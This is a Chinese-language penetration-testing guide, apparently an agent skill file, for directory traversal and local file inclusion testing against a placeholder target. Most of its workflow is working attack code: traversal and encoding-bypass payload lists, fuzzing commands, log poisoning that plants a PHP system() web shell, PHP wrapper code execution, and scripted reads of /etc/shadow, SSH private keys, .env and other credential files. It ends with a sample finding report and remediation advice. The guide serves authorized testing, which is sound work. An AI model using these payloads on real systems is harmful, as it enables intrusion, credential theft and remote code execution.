performing-directory-traversal-testing

执行目录遍历测试

何时使用

• 在获得授权的渗透测试中，当应用在 URL 参数或请求体中处理文件路径时
• 测试文件下载、文件查看或文件包含功能时
• 评估本地文件包含（LFI）和远程文件包含（RFI）漏洞时
• 评估引用文件的模板引擎、日志系统或报告生成器时
• 对接受文件名或路径作为参数的 API 进行安全评估时

前提条件

• 授权：针对目标的书面渗透测试协议
• Burp Suite Professional：用于拦截和修改文件路径参数
• ffuf：用于使用遍历载荷对文件路径参数进行模糊测试
• dotdotpwn：自动化目录遍历模糊测试工具（apt install dotdotpwn）
• SecLists：来自 Daniel Miessler 收集的遍历载荷词表
• curl：用于手动测试遍历载荷

工作流

步骤 1：识别文件路径参数

查找通过参数引用文件的应用端点。

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

步骤 2：测试基本的目录遍历载荷

尝试逃逸预期目录并读取敏感文件。

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

步骤 3：应用编码和过滤器绕过技术

使用各种编码方案绕过输入验证过滤器。

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

步骤 4：使用 ffuf 和 dotdotpwn 自动化

使用自动化工具进行全面的遍历测试。

# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \
  -t 20 -rate 50 \
  -o traversal-results.json -of json

# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
  -u "https://target.example.com/download?file=TRAVERSAL" \
  -k "root:" \
  -o /tmp/dotdotpwn-results.txt \
  -d 8 -t 200

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches

步骤 5：测试本地文件包含（LFI）以实现代码执行

如果确认存在 LFI，尝试升级为远程代码执行。

# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  "https://target.example.com/"

# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# PHP wrapper for code execution
curl -s -X POST \
  -d "<?php system('id'); ?>" \
  "https://target.example.com/page?file=php://input"

# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="

# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
  "https://target.example.com/page?file=../../../proc/self/environ"

# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>

步骤 6：读取高价值文件

针对敏感的配置和凭据文件。

# Linux high-value files
HIGH_VALUE_LINUX=(
  "/etc/passwd"
  "/etc/shadow"
  "/etc/hosts"
  "/etc/hostname"
  "/proc/self/environ"
  "/proc/self/cmdline"
  "/var/www/html/.env"
  "/var/www/html/config.php"
  "/var/www/html/wp-config.php"
  "/home/user/.ssh/id_rsa"
  "/home/user/.bash_history"
  "/root/.bash_history"
  "/var/log/auth.log"
)

for file in "${HIGH_VALUE_LINUX[@]}"; do
  traversal="../../../../../../..$file"
  echo -n "$file: "
  response=$(curl -s "https://target.example.com/download?file=$traversal")
  if [ ${#response} -gt 10 ]; then
    echo "READABLE (${#response} bytes)"
  else
    echo "Not accessible"
  fi
done

# Windows high-value files
HIGH_VALUE_WIN=(
  "C:\\Windows\\win.ini"
  "C:\\Windows\\System32\\drivers\\etc\\hosts"
  "C:\\inetpub\\wwwroot\\web.config"
  "C:\\Users\\Administrator\\.ssh\\id_rsa"
  "C:\\xampp\\apache\\conf\\httpd.conf"
  "C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)

关键概念

概念	描述
目录遍历	使用 ../ 序列导航到父目录并访问预期路径之外的文件
本地文件包含（LFI）	服务端包含本地文件，可能导致代码执行
远程文件包含（RFI）	包含来自外部 URL 的文件（需要在 PHP 中设置 allow_url_include=On）
空字节注入	使用 %00 截断文件路径，绕过旧版 PHP 中的扩展名检查
PHP 包装器	如 php://filter、php://input、data:// 等用于读取和执行文件的协议
日志投毒	将代码注入日志文件，然后通过 LFI 包含它们以实现代码执行
路径规范化	将相对路径解析为绝对路径的过程，可能被利用

工具与系统

工具	用途
Burp Suite Professional	请求拦截和 Intruder 用于自动化载荷测试
ffuf	使用 LFI/遍历词表进行快速模糊测试
dotdotpwn	专用目录遍历模糊测试工具，支持多种遍历模式
LFISuite	自动化 LFI 利用工具，支持多种技术
SecLists	全面的词表，包括 LFI 载荷和遍历模式
Kadimus	LFI 扫描和利用工具

常见场景

场景 1：文件下载遍历

位于 /download?file=report.pdf 的文档下载端点未验证 file 参数。将该值替换为 ../../../etc/passwd 会返回服务器的密码文件。

场景 2：模板 LFI 到 RCE

一个 PHP 应用通过 ?page=home 包含模板。通过在 User-Agent 头中将 PHP 代码注入 Apache 访问日志，然后包含该日志文件，攻击者实现远程代码执行。

场景 3：图像路径遍历

一个图像缩放服务接受 ?src=images/photo.jpg。应用仅剥离一次 ../ 但不会递归，因此 ....//....//etc/passwd 绕过了过滤器。

场景 4：Windows IIS 配置泄露

一个 .NET 应用程序通过 ?path=docs\manual.pdf 提供文件。遍历到 ..\..\web.config 会暴露包含数据库连接字符串的 IIS 配置文件。

输出格式

## Directory Traversal Finding

**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd

### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |

### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`

### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required